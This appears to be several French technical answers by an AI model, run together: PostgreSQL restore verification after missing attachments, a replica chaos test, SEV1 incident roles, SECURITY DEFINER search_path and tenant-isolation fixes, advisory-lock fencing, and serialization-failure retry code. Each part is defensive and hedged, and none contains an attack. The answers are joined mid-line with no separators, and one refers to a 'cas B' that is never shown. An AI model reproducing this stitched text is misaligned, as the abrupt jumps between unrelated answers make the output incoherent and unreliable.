FROM pg_constraint WHERE contype = 'f' AND NOT convalidated;
-- Sequences desynchronisees (a executer par sequence identifiee)
SELECT last_value, is_called FROM public.attachments_id_seq;
SELECT max(id) FROM public.attachments;
-- Bornes temporelles reelles du jeu restaure
SELECT min(created_at), max(created_at), count(*) FROM public.attachments;
```
Critère de passage : zéro erreur de cohérence physique, structure identique à la référence, aucune séquence en retard, bornes temporelles conformes au RPO déclaré.
---
## Contrôle 2, objets
Objectif : établir que le magasin d'objets (système de fichiers, S3, MinIO, WORM) contient bien ce qu'il prétend, et que les fichiers présents ne sont pas tronqués.
1. **Inventaire exhaustif** du stockage : clé, taille, date, empreinte si le service l'expose. C'est un recensement, pas un échantillon.
2. **Vérification d'empreinte** : recalcul de l'empreinte de chaque objet et comparaison à l'empreinte enregistrée en base ou dans un manifeste de sauvegarde. Une concordance d'empreinte n'est pas une preuve mathématique absolue d'identité, puisque des collisions existent nécessairement pour toute fonction de hachage ; c'est une assurance cryptographique très forte sous les hypothèses de sécurité de la fonction (SHA-256 par exemple).
3. **Détection de troncature** : taille nulle ou taille inférieure à la taille enregistrée. Une restauration interrompue produit typiquement des objets de taille 0 ou partielle.
4. **Cohérence de chiffrement** : si le stockage est chiffré, vérifier que les clés de la période concernée sont bien disponibles. Un objet présent mais indéchiffrable est un objet perdu.
5. **Chaînage de journal, s'il existe** : si vos sauvegardes sont couvertes par un journal à chaînage $h_i = H(R_i, h_{i-1})$, l'ancre de confiance à utiliser est un condensat $h_k$ avec $k \ge i$, conservé hors de portée d'un attaquant, car lui seul engage cryptographiquement l'enregistrement $R_i$. Une ancre antérieure $h_j$ avec $j < i$ ne détecte rien, la chaîne étant recalculable à partir de $h_{i-1}$.
```bash
# Inventaire local : cle, taille, empreinte (parallelise, sur copie en lecture seule)
find /srv/attachments -type f -print0 \
| xargs -0 -P 8 -n 64 sha256sum > /tmp/inventaire_objets.txt
# Objets de taille nulle : signature typique d'une restauration tronquee
find /srv/attachments -type f -size 0 -printf '%p\n' > /tmp/objets_vides.txt
wc -l /tmp/objets_vides.txt
```
Critère de passage : inventaire complet produit, zéro objet de taille nulle, taux de non-concordance d'empreinte connu et documenté (pas nécessairement nul, mais chiffré).
---
## Contrôle 3, références croisées
C'est le contrôle qui quantifie réellement les 2 %. Il doit être **bidirectionnel**, sinon vous ne verrez qu'une moitié du problème.
| Sens | Question | Défaut détecté |
|---|---|---|
| Base $\rightarrow$ objets | chaque ligne a-t-elle son binaire ? | référence pendante |
| Objets $\rightarrow$ base | chaque binaire a-t-il sa ligne ? | objet orphelin |
| Base $\leftrightarrow$ base | chaque pièce jointe pointe-t-elle un dossier métier existant ? | rattachement rompu |
Méthode : charger l'inventaire du contrôle 2 dans une table de travail, puis joindre.
```sql
CREATE UNLOGGED TABLE tmp_inventaire (
storage_key text PRIMARY KEY,
size_bytes bigint NOT NULL,
sha256 text NOT NULL
);
-- \COPY tmp_inventaire FROM '/tmp/inventaire_objets.csv' CSV
-- 3a. References pendantes (base -> objets)
SELECT count(*) AS pendantes
FROM attachments a
LEFT JOIN tmp_inventaire i ON i.storage_key = a.storage_key
WHERE i.storage_key IS NULL;
-- 3b. Objets orphelins (objets -> base)
SELECT count(*) AS orphelins
FROM tmp_inventaire i
LEFT JOIN attachments a ON a.storage_key = i.storage_key
WHERE a.storage_key IS NULL;
-- 3c. Divergences taille / empreinte
SELECT count(*) AS divergents
FROM attachments a JOIN tmp_inventaire i USING (storage_key)
WHERE (a.size_bytes IS NOT NULL AND a.size_bytes <> i.size_bytes)
OR (a.sha256 IS NOT NULL AND a.sha256 <> i.sha256);
-- 3d. Rattachement metier rompu
SELECT count(*) AS rattachements_rompus
FROM attachments a
LEFT JOIN dossiers d ON d.id = a.dossier_id
WHERE d.id IS NULL;
```
Livrable exigé : non pas un pourcentage global, mais la **distribution des manques**. Ventilez par date de création, par service, par type MIME, par tranche de taille et par nœud de stockage. Un manque concentré sur une plage temporelle continue indique une sauvegarde tronquée dans le temps ; un manque concentré sur un préfixe de clé indique un volume ou un bucket non restauré ; un manque uniformément dispersé indique une corruption diffuse. Les trois causes appellent trois remèdes différents, et cette ventilation est ce qui vous dira si les 2 % sont récupérables depuis une autre sauvegarde.
Critère de passage : les 2 % sont intégralement expliqués, c'est-à-dire que chaque pièce jointe manquante est classée en récupérable, définitivement perdue, ou supprimée légitimement avant l'incident.
---
## Contrôle 4, échantillon métier
Les contrôles 1 à 3 vérifient la cohérence interne : ils ne détectent pas le cas où base et stockage sont mutuellement cohérents mais où le contenu est faux (mauvais fichier sous la bonne clé, version antérieure, document d'un autre client). Seule une revue humaine par des personnes du métier le détecte, en ouvrant réellement le document depuis l'interface applicative.
### Dimensionnement, calculs
Ces valeurs proviennent d'un calcul que j'ai exécuté, sous hypothèse de tirage aléatoire indépendant dans une population grande devant $n$ (loi binomiale).
Probabilité de détecter au moins une anomalie si le taux réel est $p$ :
$$P(\text{au moins un défaut}) = 1 - (1-p)^n \ \ \Longrightarrow\ \ n \ge \frac{\ln(0{,}05)}{\ln(1-p)}$$
Pour $p = 2\%$ et une puissance de détection de 95 % : $n \ge 148{,}3$, soit **149 pièces jointes** à ouvrir.
Borne supérieure exacte du taux résiduel (Clopper-Pearson unilatérale) si l'échantillon ne révèle **aucun** défaut, $1 - 0{,}05^{1/n}$ :
| Taille $n$ | 0 défaut observé $\rightarrow$ borne sup. 95 % du taux réel |
|---|---|
| 100 | 2,95 % |
| 300 | 0,99 % |
| 1000 | 0,30 % |
| 3000 | 0,0998 % |
| 5000 | 0,0599 % |
Lecture décisive : un échantillon de 100 documents tous corrects **ne permet pas** d'exclure un taux d'anomalie de 2,9 %. Pour garantir un taux résiduel sous 0,1 %, il faut environ **2995 vérifications sans défaut**. Autrement dit, la vérification par échantillon seule ne peut pas remplacer le recensement exhaustif du contrôle 3 ; elle ne fait que valider la qualité du contenu.
Exemple d'interprétation, à titre illustratif : 8 anomalies sur 400 documents donnent un taux ponctuel de 2,00 %, avec un intervalle de confiance à 95 % de $[0{,}87\ \%\ ;\ 3{,}90\ \%]$. C'est un intervalle de confiance fréquentiste sur le taux, pas la probabilité qu'une hypothèse soit vraie.
### Construction de l'échantillon
Le tirage doit être défini **avant** de regarder les résultats, et écrit dans un protocole. Une sélection de cas après les avoir vus produirait un biais de sélection post hoc et une malédiction du vainqueur, rendant le taux estimé non interprétable.
- Strate 1, tirage purement aléatoire : 149 éléments au minimum sur l'ensemble de la population.
- Strate 2, tirage ciblé sur les zones à risque identifiées au contrôle 3 (plages temporelles suspectes, gros fichiers, préfixes déficients).
- Strate 3, tirage exhaustif ou quasi exhaustif sur les dossiers à enjeu réglementaire ou contractuel fort, où même une seule perte est inacceptable.
Ne mélangez pas les taux issus des trois strates : la strate 2 est délibérément biaisée vers les défauts, son taux n'est pas un estimateur du taux global.
### Grille de vérification, par document ouvert
| Point | Vérification |
|---|---|
| Ouverture | le fichier s'ouvre sans erreur dans l'application |
| Rattachement | il appartient bien au dossier, au client et à la date affichés |
| Version | c'est la dernière version connue, pas une antérieure |
| Contenu | le document correspond à son libellé et à son type déclaré |
| Étanchéité | aucune donnée d'un autre client n'apparaît (test anti-fuite) |
| Traçabilité | l'historique et les métadonnées d'audit sont présents |
---
## Décision de réouverture
Ma recommandation : **ne pas réouvrir en écriture tant que les 2 % ne sont pas expliqués**. Une réouverture prématurée crée des données nouvelles par-dessus un socle incomplet, ce qui rend toute reprise depuis une autre sauvegarde beaucoup plus coûteuse, parfois impossible.
Séquence proposée :
1. Point de restauration de l'état actuel, vérifié restaurable.
2. Contrôles 1 et 2 en parallèle.
3. Contrôle 3, avec ventilation des manques.
4. Tentative de récupération des 2 % depuis une source alternative (sauvegarde antérieure, réplique, archive froide, système source).
5. Contrôle 4, avec un protocole écrit avant tirage.
6. Réouverture, en lecture seule d'abord, avec les pièces jointes non retrouvées **marquées explicitement comme indisponibles** dans l'interface, jamais silencieusement absentes.
7. Écriture rouverte seulement après validation métier formelle.
---
## Risques et limites
- **Je n'ai exécuté aucun contrôle sur votre système.** Les requêtes et commandes ci-dessus sont des propositions à adapter à votre schéma réel, dont je ne connais ni les noms de tables, ni les noms de colonnes, ni le moteur. Les noms `attachments`, `dossiers`, `storage_key` sont des hypothèses de nommage.
- Un code de retour nul ou un message de succès de l'outil de restauration ne prouve pas la complétude ; seul le recensement croisé du contrôle 3 l'établit.
- Une erreur d'accès lors de l'inventaire ne prouve pas l'absence d'un objet : elle peut refléter un droit manquant sur le répertoire parent ou une clé de chiffrement indisponible. Distinguez rigoureusement « absent » de « inaccessible » dans vos comptages, sous peine de surestimer la perte.
- Le contrôle 4 sur les données réelles expose des documents potentiellement personnels à des relecteurs : limitez la liste des relecteurs, journalisez les accès, appliquez le principe de minimisation, et ne journalisez aucun contenu sensible en clair.
- Si les pièces jointes ont valeur de preuve, contractuelle, comptable ou réglementaire, la perte peut avoir des conséquences déclaratives ou de conservation légale. Ceci n'est pas un avis juridique : faites qualifier le périmètre par votre référent conformité et, le cas échéant, votre délégué à la protection des données.
- Toute opération corrective de type purge d'orphelins doit être ciblée, réversible et validée nominativement. Un nettoyage massif appliqué à un état partiel détruirait précisément les objets qui auraient permis de reconstruire les métadonnées manquantes du cas B.- **Cible** : une seule réplique de lecture, sélectionnée explicitement. Vérifier son rôle juste avant l’injection et refuser l’exercice si elle est devenue primaire. Couper son processus ou son réseau pendant 5 minutes maximum.
- **Hypothèse** : le répartiteur retire la réplique indisponible, les autres répliques absorbent les lectures, les écritures restent intactes et le taux d’erreur demeure inférieur ou égal à $1\,\%$.
- **Garde-fou** : mesurer continuellement $\frac{\text{requêtes en erreur}}{\text{requêtes totales}}$ sur une fenêtre glissante définie, par exemple 60 secondes. Si ce taux dépasse strictement $1\,\%$, si le primaire change de rôle ou si les métriques disparaissent, arrêter immédiatement l’injection et déclencher la restauration. Prévoir aussi un arrêt manuel et une minuterie indépendante.
- **Restauration** : rétablir automatiquement le processus ou le réseau de la réplique, vérifier qu’elle est saine et resynchronisée, puis la réintégrer progressivement au pool de lecture. Confirmer le retour du taux d’erreur et de la latence à leur niveau initial.**Les quatre rôles, dans l'ordre demandé :** | Fonction | Nom standard | Variantes courantes | |---|---|---| | Décision | **Incident Commander** (IC) | Incident Lead, Commandant d'incident | | Diagnostic | **Operations Lead** (Ops Lead) | Tech Lead, Subject Matter Expert (SME), Resolver | | Communication | **Communications Lead** (Comms Lead) | Communications Liaison, Customer Liaison | | Journal temporel | **Scribe** | Recorder, Timeline Keeper | Précisions opérationnelles utiles pendant un SEV1 : - **Incident Commander** : détient l'autorité de décision unique, arbitre les priorités, autorise les actions risquées et les mesures d'atténuation. Il ne débogue pas, sinon la décision et le diagnostic se confondent, ce qui est précisément la séparation visée. - **Operations Lead** : seul rôle autorisé à modifier le système (déploiement, bascule, rollback, requêtes), afin d'éviter les actions concurrentes non coordonnées. - **Communications Lead** : émet les mises à jour internes et externes à cadence fixe (page de statut, canal d'incident, direction), et protège l'IC des sollicitations. - **Scribe** : consigne horodaté des faits, décisions, hypothèses écartées et actions, base factuelle du post-mortem et, le cas échéant, élément de preuve. Points de rigueur, deux distinctions à ne pas confondre : 1. Le journal du Scribe est une **trace déclarative**, pas une preuve d'intégrité. Si vous devez pouvoir démontrer qu'il n'a pas été modifié après coup, il faut un mécanisme séparé (journal en append-only, chaînage de condensats avec ancrage externe conservé hors de portée d'un modificateur potentiel). 2. Le cumul de rôles est parfois inévitable sur une petite équipe. La règle de moindre risque est de cumuler Comms et Scribe, jamais Décision et Diagnostic. Sur la source : je ne dispose pas, dans mon encyclopédie hors ligne, d'article traitant spécifiquement des rôles d'astreinte SEV1 (mes recherches ont ramené l'Incident Command System des secours, /content/wikipedia_en/Incident_Command_System et /content/wikipedia_en/Incident_commander, qui documente bien le rôle d'**Incident Commander** et le principe d'unité de commandement, mais pas les trois autres intitulés). Les noms Operations Lead, Communications Lead et Scribe correspondent à la terminologie standard de la littérature d'ingénierie de fiabilité (chapitre sur la gestion des incidents du livre Site Reliability Engineering de Google, et documentation publique de réponse aux incidents de PagerDuty), que je restitue de mémoire et que **je ne peux pas vérifier ici** ; considérez-les comme fiables mais à confirmer sur la source primaire si l'intitulé exact doit figurer dans une procédure opposable.
1. **Risque — détournement du `search_path` :** un attaquant peut faire résoudre un nom non qualifié comme `invoices` vers un objet malveillant et l’exécuter avec les privilèges du propriétaire de la fonction. **Correction :** fixer un `search_path` sûr dans la fonction, avec uniquement des schémas de confiance et `pg_temp` en dernier, puis qualifier les objets : ```sql SECURITY DEFINER SET search_path = pg_catalog, app, pg_temp ``` Utiliser notamment `app.invoices` et interdire aux rôles non fiables de créer des objets dans les schémas concernés. 2. **Risque — fuite inter-locataires :** sans filtre sur `tenant_id`, la fonction peut retourner les factures de tous les tenants avec les droits de son propriétaire, éventuellement en contournant la RLS si ce rôle en est exempté. **Correction :** filtrer systématiquement sur un identifiant de tenant issu d’un contexte authentifié et non d’une valeur libre du client : ```sql WHERE i.tenant_id = app.current_tenant_id() ``` Renforcer cette isolation avec une politique RLS et, si le propriétaire de la table exécute la fonction, `FORCE ROW LEVEL SECURITY`; sinon supprimer `SECURITY DEFINER` lorsqu’il n’est pas indispensable.
## 1. Diagnostic du mécanisme
`pg_try_advisory_lock(bigint)` est une fonction de verrou **consultatif** (advisory), **non bloquante** et de **portée session** : elle retourne immédiatement `true` si le verrou est obtenu, `false` sinon, et le verrou reste détenu jusqu'à libération explicite ou fin de session (documentation officielle PostgreSQL, section « Advisory Lock Functions » / *Explicit Locking* ; je signale que l'encyclopédie locale LANXAS ne contient pas d'article sur les verrous consultatifs, ma recherche n'a rien retourné, donc je m'appuie sur la sémantique documentée de PostgreSQL et non sur une source consultable ici).
Point de vocabulaire important : la variante `pg_try_advisory_xact_lock(42)` serait libérée à la fin de la transaction ; ce n'est **pas** celle utilisée ici.
## 2. Réponse directe aux quatre points
| Élément | Résultat |
|---|---|
| **Action A** | A a obtenu le verrou consultatif de session sur la clé $42$ → il est le seul autorisé à exécuter le job, et il doit le libérer par `pg_advisory_unlock(42)` en fin de traitement |
| **Action B** | B n'a **pas** le verrou → il doit **abandonner immédiatement** l'exécution du job (pas d'attente, pas de contournement), sortir proprement, et retenter plus tard selon sa planification |
| **Effet de la déconnexion de A** | La fin de la session A entraîne la libération **automatique** de tous ses verrous consultatifs de session par le serveur, dès que le backend correspondant est réellement terminé. Le job de A, lui, reste **non terminé** (aucun rollback applicatif implicite au-delà de la transaction en cours) |
| **Prochain résultat de B** | `pg_try_advisory_lock(42)` retournera **`true`** dès que le backend de A a été nettoyé côté serveur ; jusqu'à ce nettoyage, B continue de recevoir `false` |
## 3. Nuance critique, à ne pas passer sous silence
« A perd sa connexion » ne signifie pas « A a cessé de travailler ». Deux régimes distincts :
- **Rupture détectée** (le serveur voit le socket fermé, `FATAL: connection to client lost`) : le backend meurt, le verrou tombe, B obtient `true`.
- **Rupture non détectée** (partition réseau, TCP semi-ouvert, client tué sans FIN) : le backend de A peut rester vivant longtemps et **conserver le verrou**. La détection dépend de `tcp_keepalives_idle`, `tcp_keepalives_interval`, `tcp_keepalives_count` côté serveur, et éventuellement de `idle_in_transaction_session_timeout` ou `idle_session_timeout`. Le délai peut atteindre plusieurs minutes.
Conséquence de sécurité fonctionnelle : dans le second régime, il existe une fenêtre où **A exécute encore son job pendant que B obtient le verrou**. Un verrou consultatif garantit l'exclusion des *détenteurs de verrou*, **pas** l'exclusion des *processus applicatifs* : il n'y a aucun mécanisme de *fencing*. L'unicité du job n'est donc pas absolue, c'est une hypothèse à valider par le protocole applicatif, pas un fait garanti par le verrou.
Second piège, fréquent en production : derrière un pooler en mode transaction (par exemple PgBouncer `pool_mode = transaction`), un verrou consultatif de **session** est inutilisable, la connexion serveur n'appartenant pas durablement au worker. Il faut une connexion directe ou `pool_mode = session`.
## 4. Vérification concrète
Observer l'état réel du verrou :
```sql
SELECT l.pid, l.classid, l.objid, l.objsubid, l.granted,
a.state, a.application_name, a.backend_start, a.query
FROM pg_locks l
LEFT JOIN pg_stat_activity a ON a.pid = l.pid
WHERE l.locktype = 'advisory';
```
Pour une clé `bigint`, la clé $42$ apparaît décomposée en 32 bits hauts / 32 bits bas :
$$\text{classid} = \left\lfloor \frac{42}{2^{32}} \right\rfloor = 0, \qquad \text{objid} = 42 \bmod 2^{32} = 42$$
Selon ma lecture de la documentation, `objsubid` vaut $1$ pour une clé 64 bits et $2$ pour deux clés 32 bits ; je le donne comme rappel à confirmer dans la doc de `pg_locks`, ce n'est pas vérifiable avec mes outils locaux.
Libération forcée maîtrisée, si et seulement si vous avez l'autorisation d'opérer et après avoir identifié le PID :
```sql
-- 1) identifier, 2) confirmer avec l'operateur, 3) seulement ensuite :
SELECT pg_terminate_backend(<pid>); -- coupe le backend orphelin, libere le verrou
```
C'est une opération intrusive : elle interrompt la transaction en cours du backend visé. Ne l'exécutez pas en aveugle, et jamais sans avoir vérifié que le PID correspond bien à un worker mort et non à un job actif.
## 5. Correctif recommandé pour un job réellement unique
Le verrou seul ne suffit pas. Motif robuste, en trois couches :
```sql
-- Couche 1 : etat du job, source de verite persistante
CREATE TABLE job_run (
job_key text PRIMARY KEY,
epoch bigint NOT NULL DEFAULT 0,
owner text,
lease_until timestamptz,
status text NOT NULL DEFAULT 'idle'
CHECK (status IN ('idle','running','done','failed'))
);
```
```python
# Couche 2 : acquisition non bloquante + bail (lease) + epoch de fencing
# Requetes TOUJOURS parametrees, jamais de concatenation.
LOCK_KEY = 42
LEASE = "90 seconds"
def try_acquire(conn, worker_id: str):
with conn.cursor() as cur:
cur.execute("SELECT pg_try_advisory_lock(%s)", (LOCK_KEY,))
if not cur.fetchone()[0]:
return None # B : on abandonne, pas d'attente
cur.execute(
"""
UPDATE job_run
SET epoch = epoch + 1,
owner = %s,
lease_until = now() + %s::interval,
status = 'running'
WHERE job_key = %s
AND (status <> 'running' OR lease_until < now())
RETURNING epoch
""",
(worker_id, LEASE, 'nightly-report'),
)
row = cur.fetchone()
conn.commit()
if row is None: # bail encore valide ailleurs
cur.execute("SELECT pg_advisory_unlock(%s)", (LOCK_KEY,))
conn.commit()
return None
return row[0] # epoch = jeton de fencing
```
```python
# Couche 3 : chaque ecriture du job porte l'epoch ; un ancien A devenu zombie
# voit ses ecritures rejetees (0 ligne affectee) au lieu de corrompre l'etat.
def write_guarded(conn, epoch: int, payload):
with conn.cursor() as cur:
cur.execute(
"UPDATE job_output SET data = %s WHERE job_key = %s AND epoch = %s",
(payload, 'nightly-report', epoch),
)
if cur.rowcount == 0:
raise RuntimeError("epoch perime : un autre worker detient le job")
conn.commit()
```
Et un renouvellement périodique du bail (`lease_until = now() + interval`) tant que le job tourne, avec arrêt volontaire du worker si le renouvellement échoue.
## 6. Risques et limites
- Le verrou consultatif **n'est pas transactionnel** ici : oublier `pg_advisory_unlock(42)` dans un chemin d'erreur bloque le job jusqu'à la fin de la session. Placez la libération dans un `finally`.
- Les compteurs de verrou sont **réentrants** : deux appels réussis dans la même session exigent deux déverrouillages.
- Un redémarrage du serveur PostgreSQL efface tous les verrous consultatifs : ils ne sont ni persistants ni répliqués, et sur un standby en lecture seule ils ne protègent rien de global.
- La clé numérique $42$ est un espace de noms plat et global : documentez un registre des clés pour éviter deux jobs différents partageant la même valeur.
- Aucune de ces couches ne rend l'unicité mathématiquement certaine en présence de partition réseau ; le motif *lease + epoch* transforme un risque de double exécution en risque d'échec détecté, ce qui est le compromis raisonnable, pas une garantie absolue.
- Je n'ai pas exécuté ce code : il est raisonné mais non testé dans cet environnement, qui n'a ni accès réseau ni base PostgreSQL. Validez-le avec deux workers et une coupure réseau simulée avant mise en production.## 1. Diagnostic et préalable sur la prémisse
**La prémisse « uniquement des écritures » est trompeuse au niveau du moteur.** Un `UPDATE ... WHERE`, un `DELETE ... WHERE` ou un `INSERT` soumis à une contrainte d'unicité effectuent des **lectures implicites** (évaluation du prédicat, parcours d'index, vérification de contrainte). Sous une sérialisabilité de type SSI, ces lectures créent des dépendances lecture/écriture entre transactions concurrentes, donc des conflits détectables même sans aucun `SELECT` écrit par vous. Il n'y a donc aucune contradiction à obtenir 40001 dans ce scénario.
Deux familles de conflits possibles, selon le moteur :
| Mécanisme | Origine du conflit | Moment de détection |
|---|---|---|
| Conflit écriture/écriture (isolation par instantané) | deux transactions modifient la même version de ligne | à l'écriture ou au commit |
| Triplet dangereux de dépendances rw (SSI) | prédicats des écritures, même sur des lignes disjointes | typiquement au `COMMIT` |
Fait établi : l'isolation par instantané n'abandonne une transaction que si les valeurs qu'elle a modifiées ont changé depuis son instantané, et le renforcement sérialisable (SSI, Cahill, Röhm, Fekete, 2008, adopté par PostgreSQL 9.1) détecte et abandonne des « triplets dangereux » de transactions concurrentes, au prix d'une **augmentation du nombre d'abandons** (article encyclopédique local « Snapshot isolation », sections Definition, History).
Point d'honnêteté : la correspondance SQLSTATE `40001` = `serialization_failure`, classe 40 = `transaction_rollback`, et `40P01` = `deadlock_detected` provient de ma connaissance de la table des codes d'erreur PostgreSQL ; mes outils locaux ne me permettent pas de la vérifier ici. Traitez-la comme une information à confirmer dans la documentation officielle de votre moteur et de sa version exacte.
## 2. Classification
| Axe | Classement |
|---|---|
| Nature | Erreur **transitoire** de concurrence, pas un bogue de données ni une violation d'invariant |
| Rejouabilité | **Rejouable** (retryable), sous conditions du point 4 |
| Effet sur l'état | **Aucun** : la transaction est intégralement annulée, aucune écriture partielle n'est visible |
| Déterminisme | **Non déterministe** : dépend de l'entrelacement concurrent, donc non reproductible à l'identique |
| Responsabilité | Serveur (détecteur de conflits), pas le client |
| Couche de traitement | Application, dans le propriétaire de la transaction |
| À ne pas confondre avec | `40P01` interblocage (rejouable aussi, mais indique un ordre d'accès non déterministe à corriger), `23505` violation d'unicité (**non** rejouable en aveugle : conflit métier), `40003` / commit d'issue inconnue (**ambigu**, exige une clé d'idempotence) |
Corollaire de conception : 40001 sous `SERIALIZABLE` est un **coût de fonctionnement attendu**, pas une anomalie. Toute application qui utilise ce niveau d'isolation sans boucle de reprise est incorrecte par construction.
## 3. Unité de retry
**L'unité est la transaction métier complète, du `BEGIN` au `COMMIT`, réexécutée intégralement.**
Règles impératives :
1. **Rollback d'abord.** Après 40001, la transaction est en état avorté ; tout ordre supplémentaire échouera (classe `25`, transaction avortée). Émettez `ROLLBACK` avant toute nouvelle tentative.
2. **Pas de retry par instruction.** Rejouer seulement l'ordre fautif est faux : le conflit porte sur la transaction entière, et son instantané est périmé.
3. **Pas de reprise sur `SAVEPOINT`.** Un point de sauvegarde interne ne restaure pas un instantané valide ; la détection de conflit est globale à la transaction.
4. **Nouveau snapshot obligatoire.** La nouvelle tentative doit repartir d'une lecture fraîche de la base. Réutiliser des valeurs calculées lors de la tentative précédente réintroduit exactement l'anomalie (par exemple le biais d'écriture) que `SERIALIZABLE` prévient.
5. **Le retry appartient au cas d'usage**, une fonction qui encapsule `BEGIN`, la logique, `COMMIT`. Jamais au pilote, jamais au pool de connexions, jamais à un intercepteur générique qui ne connaît pas les frontières transactionnelles.
6. **Une seule couche de retry.** Interdisez la superposition (client HTTP qui réessaie + service qui réessaie + pilote qui réessaie) : l'amplification est multiplicative et aggrave la contention.
## 4. Condition de sécurité
Le retry n'est licite que si **toutes** les conditions suivantes sont réunies. C'est une conjonction, pas une liste de suggestions.
**C1. Pureté transactionnelle.** La fonction rejouée ne produit **aucun effet de bord externe non compensable** : pas d'appel HTTP sortant, pas d'e-mail, pas de paiement, pas de publication sur un bus de messages, pas d'écriture de fichier, pas de mutation de cache externe. Ces effets sont déplacés après le commit, via le motif boîte d'envoi (outbox) écrit dans la même transaction.
**C2. Recalcul intégral.** Aucun état dérivé de la tentative précédente n'est réutilisé. Les paramètres d'entrée sont immuables ; tout le reste est relu.
**C3. Idempotence observable.** Pour toute opération à effet visible, une **clé d'idempotence** fournie par l'appelant, matérialisée par une contrainte d'unicité en base. Justification : le succès du commit peut être réel côté serveur alors que la réponse est perdue en réseau. Dans ce cas l'erreur reçue est ambiguë et un retry sans clé duplique l'effet. Corollaire : une violation d'unicité sur la clé d'idempotence lors du retry doit être interprétée comme « déjà appliqué », donc succès, et non comme un échec.
**C4. Bornes explicites.** Nombre maximal de tentatives **et** budget de temps total, aligné sur le délai de la requête appelante et sur son jeton d'annulation. Au-delà, échec propre et explicite (par exemple HTTP 409 ou 503 avec `Retry-After`), jamais une boucle non bornée.
**C5. Discrimination stricte des codes.** Rejouez sur `40001` (et, décision distincte à documenter, sur `40P01`). Ne rejouez **jamais** en aveugle une erreur de contrainte, de permission, de syntaxe, de dépassement de délai d'instruction, ni une erreur de classe inconnue. Une politique de type « retry sur toute exception » est un défaut de sécurité, elle peut relancer une opération à moitié observable.
**C6. Interdiction de la fausse correction.** Ne « réglez » pas 40001 en abaissant l'isolation à `READ COMMITTED` : cela supprime la **détection** du conflit, pas l'anomalie sous-jacente. Si vous descendez d'isolation, vous devez matérialiser le conflit explicitement (table de conflit, verrouillage explicite, promotion de lecture en écriture), technique documentée dans l'article encyclopédique « Snapshot isolation », section Workarounds.
**C7. Effets non transactionnels résiduels connus.** Certains objets ne sont pas annulés par un `ROLLBACK`, en particulier les compteurs de séquences : un retry consomme des valeurs et crée des trous d'identifiants. Acceptable en général, mais à assumer explicitement si vos identifiants sont exposés ou audités.
**C8. Observabilité.** Compteur par SQLSTATE, par rang de tentative et par cas d'usage, plus la latence ajoutée par les reprises. Sans cette mesure, vous ne pourrez pas distinguer une contention normale d'une régression.
## 5. Backoff
**Politique recommandée : exponentiel plafonné avec pleine gigue (full jitter), et arrêt sur budget.**
$$d_n = U\!\left(0,\ \min\!\left(C,\ b \cdot m^{\,n-1}\right)\right)$$
avec $b = 10$ ms (base), $m = 2$ (facteur), $C = 1$ s (plafond), $n$ le rang de la tentative, $U$ un tirage uniforme.
Valeurs calculées pour ces paramètres :
| Tentative $n$ | Plafond $\min(C, b\cdot 2^{n-1})$ | Tirage dans | Attente moyenne |
|---|---|---|---|
| 1 | 10 ms | [0, 10] ms | 5,0 ms |
| 2 | 20 ms | [0, 20] ms | 10,0 ms |
| 3 | 40 ms | [0, 40] ms | 20,0 ms |
| 4 | 80 ms | [0, 80] ms | 40,0 ms |
| 5 | 160 ms | [0, 160] ms | 80,0 ms |
Avec un maximum de 5 tentatives, il y a 4 attentes intercalaires : **attente cumulée au pire 150 ms**, **en moyenne 75 ms** (valeurs vérifiées par calcul, hors temps d'exécution des transactions elles-mêmes).
Justifications de chaque choix :
- **Gigue obligatoire.** Sans gigue, les transactions en conflit repartent en phase et se re-collisionnent ; la gigue pleine décorrèle les reprises. C'est le point le plus important de la politique.
- **Base courte.** 40001 traduit un conflit de très courte durée ; une base de plusieurs centaines de millisecondes détruit la latence utilisateur sans gain de succès.
- **Plafond.** Empêche l'attente absurde en cas de contention prolongée.
- **Budget total prioritaire sur le compteur.** Arrêtez dès que le temps restant du contexte appelant est inférieur à l'attente tirée plus la durée typique de la transaction. Un retry qui dépassera le délai de la requête est du gaspillage de verrous.
- **Disjoncteur.** Si le taux de 40001 par cas d'usage dépasse un seuil que vous fixez, cessez de réessayer et rejetez rapidement : au-delà d'un certain point, les reprises augmentent la contention qu'elles subissent.
Statut de ces nombres : **valeurs par défaut raisonnables, non mesurées sur votre charge**. Ce sont des hypothèses de départ à calibrer sur vos propres percentiles de latence et votre taux d'abandon observés.
## 6. Implémentation de référence
Code Python avec psycopg 3. **Je ne l'ai pas exécuté** ; il est écrit pour être complet et raisonné de bout en bout, à valider par vos tests.
```python
import random
import time
import logging
from typing import Callable, TypeVar
import psycopg
from psycopg import errors
log = logging.getLogger(__name__)
T = TypeVar("T")
SERIALIZATION_FAILURE = "40001"
DEADLOCK_DETECTED = "40P01"
RETRYABLE = frozenset({SERIALIZATION_FAILURE, DEADLOCK_DETECTED})
BASE_S = 0.010
FACTOR = 2.0
CAP_S = 1.0
MAX_ATTEMPTS = 5
BUDGET_S = 2.0
def _sleep_for(attempt: int) -> float:
"""Exponentiel plafonne avec pleine gigue. attempt commence a 1."""
ceiling = min(CAP_S, BASE_S * (FACTOR ** (attempt - 1)))
return random.uniform(0.0, ceiling)
def run_serializable(
conn: psycopg.Connection,
unit_of_work: Callable[[psycopg.Cursor], T],
*,
op_name: str,
) -> T:
"""
Rejoue l'INTEGRALITE de la transaction sur conflit de serialisation.
Contrat impose a unit_of_work (conditions C1, C2) :
- aucun effet de bord externe (reseau, fichier, message, e-mail) ;
- recalcul complet a partir de la base, aucun etat memorise
entre deux tentatives ;
- operations a effet observable protegees par une cle
d'idempotence avec contrainte d'unicite (C3).
"""
deadline = time.monotonic() + BUDGET_S
last_exc: Exception | None = None
for attempt in range(1, MAX_ATTEMPTS + 1):
try:
# Le gestionnaire de contexte emet COMMIT en sortie normale
# et ROLLBACK sur exception (condition du point 3).
with conn.transaction():
with conn.cursor() as cur:
cur.execute(
"SET TRANSACTION ISOLATION LEVEL SERIALIZABLE"
)
result = unit_of_work(cur)
if attempt > 1:
log.info(
"transaction reussie apres reprise",
extra={"op": op_name, "attempt": attempt},
)
return result
except errors.Error as exc:
code = getattr(exc, "sqlstate", None)
if code not in RETRYABLE:
raise # C5 : jamais de reprise en aveugle
last_exc = exc
log.warning(
"conflit de concurrence",
extra={"op": op_name, "sqlstate": code, "attempt": attempt},
)
if attempt == MAX_ATTEMPTS:
break
delay = _sleep_for(attempt)
if time.monotonic() + delay >= deadline: # C4 : budget prioritaire
log.warning(
"budget de reprise epuise",
extra={"op": op_name, "attempt": attempt},
)
break
time.sleep(delay)
raise RuntimeError(
f"{op_name}: conflit de serialisation persistant "
f"apres {MAX_ATTEMPTS} tentatives au plus"
) from last_exc
```
